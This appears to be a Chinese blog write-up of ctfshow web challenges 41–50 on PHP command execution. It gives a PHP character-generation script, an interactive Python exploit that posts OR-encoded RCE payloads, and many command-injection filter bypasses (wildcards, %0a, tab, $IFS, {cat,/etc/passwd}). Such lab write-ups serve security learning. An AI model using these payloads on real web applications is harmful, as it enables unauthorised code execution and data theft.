@


ctf - web入门

web41

这一题参考了其他师傅的writeup:

ctfshow web入门 web41

CTFshow wbe41 教你写脚本

以及bilibili上的官方讲解:CTFshow-web入门-命令执行

震惊我这个小白一整年。

视频讲的挺清楚的,这里只记录一些理论知识了。

题解

过滤了数字和字母,以及 $、+、-、^、~
使得 异或自增 和 取反 构造字符都无法使用
但是没有过滤 或运算符 |



我们可以尝试从ascii为0-255的字符中,找到能够通过 或运算 得到的可用字符及相应url编码。

方法一

先通过以下php脚本生成一个rce_or.txt,内容是上述可用字符及编码

rce_or.php内容:

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) { if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
} else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
} }
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符。

再通过以下自动化脚本传参并执行想执行的命令

到这一步其实就是用python主动提交payload

用法 python exp.py url地址

exp.py代码:

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output) while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

可以如下图先运行php脚本先生成txt文件



然后运行python脚本



最后输入相应指令即可获得flag

方法二

以上相当于使用python自动化脚本。当然也可以用上述得到的txt可用字符手动构造。

用burp拦截,然后转为post请求来传递一下参数。

先根据原理来传递一下 (system)('ls') 看看

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")



看到有回显了。那就构造 (system)(cat flag.php)

c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

得手了

原理

system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
  • url编解码
  • 或运算 构造字符串
  • 示例如下:
如构造一个 (system)('ls')

("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")

其中 %13|%60=s     %19|%60=y      %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起

web42

题解

方法一

url + ?c=cat flag.php ||

查看源码获取flag。

方法二

直接让拼接的命令换行。

url + ?c=cat flag.php%0a

原理

>/dev/null 2>&1 命令表示不回显。

参考文章:Shell脚本/dev/null 2>&1详解

要让命令回显,可以进行命令分隔,以此来绕过:

;     分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行

或者直接使用 %0a(换行符,url编码)将其分隔。

web43

题解

这道题在 web42 的基础上过滤了 cat 字符串和其他一些符号。

换一个命令,且使用换行符的url编码让 >/dev/null 2>&1 换行

url + ?c=nl flag.php%0a

使用其他命令如 tac 也可以。

原理

和 web42 差不多。

>/dev/null 2>&1 命令表示不回显。

web44

题解

看题,可以简单使用通配符绕过。



方法一

url + ?c=tac fl*%0A

方法二

当然也可以如下,结果都一样。

url + ?c=tac fl''ag.php||

原理

>/dev/null 2>&1 命令表示不回显。

依旧是有关 linux 的命令与通配符。

web45

题解

多过滤了一个空格。

使用 %09 绕过即可

url + ?c=tac%09fl''ag.php||

原理

linux适用空格绕过:

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

web46

题解

比之前多过滤了 “ * ”。

法一,符号绕过。

url + ?c=tac%09fl''ag.php||

法二,通配符 “ ? ”。

url + ?c=tac%09fl?g.php||

原理

linux 通配符【*】,【?】。

除此以外还有符号绕过。

web47

依旧是 Linux 命令考察。

题解

比之前多过滤了一些命令。

解:

url + ?c=nl%09fl''ag.php||

同理,其他命令也可。

web48

依旧与上题差别不大。

题解

解:

url + ?c=nl%09fl''ag.php||

web49

题解

过滤了 “ % ”。但空格绕过方法有很多。

题解:

url + ?c=tac<fla''g.php||

原理

linux适用空格绕过:

<、<>、%20(space)、%09(tab)、$IFS$9、${IFS}、$IFS、{cat,/etc/passwd}、%0a(回车)

web50

题解

多过滤了 tab 键与 “ & ”。

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

虽然但是,可沿用之前的 payload:

url + ?c=tac<>fl''ag.php||

原理

x09 为 tab键。x26为【&】。

tab 可以代替空格,& 是连接符。


若待功成拂衣去,武陵桃花笑杀人。

——《当涂赵炎少府粉图山水歌》(唐)李白

《CTFshow-Web入门》05. Web 41~50的更多相关文章

  1. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  2. Web入门

    目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...

  3. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  4. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  5. ctfshow的web入门171

    web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...

  6. Web 开发最有用的50款 jQuery 插件集锦——《综合篇》

    这篇文章是<Web 开发最有用的50款 jQuery 插件集锦>系列的最后一篇,整个系列向大家分享了在网站开发中非常有帮助的 50 款 jQuery 插件,这些插件按用途主要有以下类别:网 ...

  7. Web 开发最有用的50款 jQuery 插件集锦——《图片特效篇》

    <Web 开发最有用的50款 jQuery 插件集锦>系列文章向大家分享最具创新的50款 jQuery 插件,这些插件分成以下类别:网页布局插件,导航插件,表格插件,滑块和转盘插件,图表插 ...

  8. python web入门程序

    python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...

  9. Java web 入门知识 及HTTP协议详解

     Java  web  入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...

  10. Spring Boot 入门之 Web 篇(二)

    原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...

随机推荐

  1. 【python基础】编写/运行hello world项目

    1.编写hello world项目 编程界每种语言的第一个程序往往都是输出hello world.因此我们来看看,如何用Python输出hello world. 1.如果你是初学者,main.py中的 ...

  2. Netty实战(五)

    一.什么是ByteBuf 我们前面说过,网络数据的基本单位总是字节.Java NIO 提供了 ByteBuffer 作为它的字节容器,但是这个类使用起来过于复杂,而且也有些繁琐.ByteBuffer ...

  3. ODOO13之二 Odoo 13开发之开发环境准备

    在更深入了解 Odoo 开发之前,我们应配置好开发环境并学习相关的基础管理任务.本文中,我们将学习创建 Odoo 应用所需用到的工具和环境配置.这里采用 Ubuntu 系统来作为开发服务器实例的主机, ...

  4. shell脚本中特殊筛选文件

    问题描述:在写shell中,总会遇到一些各式各样筛选文件的需求,整理了一些特殊情况 1.查找目标文件下大于100Mb的文件 find $target_dir -type f -size +70M 2. ...

  5. 在.net项目中添加Husky.Net提交验证

    参考:C# 项目添加 husky - jesn - 博客园 (cnblogs.com) 官方文档:Getting Started | Husky.Net (alirezanet.github.io) ...

  6. UpSetR:多数据集绘图可视化处理利器

    说到集合数据可视化,我们第一时间想到的就是韦恩图.在 NGS 相关的研究中,韦恩图用来直观表征不同的集合之间元素重叠关系,是经常在文献中出现的图. 在集合数少的时候韦恩图是很好用的,但是当集合数多比如 ...

  7. Nature 重大发现:癌基因竟不在染色体上?第一作者吴思涵亲身解读!

    编辑|李丽 记者|布德鸟 图片提供|吴思涵 今日凌晨,美国加州大学圣地亚哥分校 Ludwig 癌症研究所的 Paul Mischel 教授领导的研究团队发现, 大量的癌基因并不在染色体上,而是会从染色 ...

  8. 效率神器,边看网页边问ChatGPT!神级ChatGPT插件(浏览器扩展)推荐!

    如果在看一个网页时,有些词不认识.句子不知道含义,怎么办? 憨憨版:不认识就算了呗,还能咋滴 进阶版:复制到 Google/Baidu 里问一问: AI达人版:复制到 ChatGPT/Claude 里 ...

  9. 【HMS Core】Health Kit云测数据接入相关问题

    ​[问题描述1] 1.由于存在IOS.android.微信小程序,计划接入"云侧数据开放服务",使用模式为我们自己的服务端去同步华为健康数据,终端通过服务端获取最新的数据. 2.在 ...

  10. FFmpeg合并视频和音频文件

    使用IDM下载Bilibili的视频会出现音视频分离的问题,通常文件大的是视频(没有声音),文件小的是单独的音频. 将两个文件都下载下来后,可以使用FFmpeg将其合并成一个视频文件.首先去FFmpe ...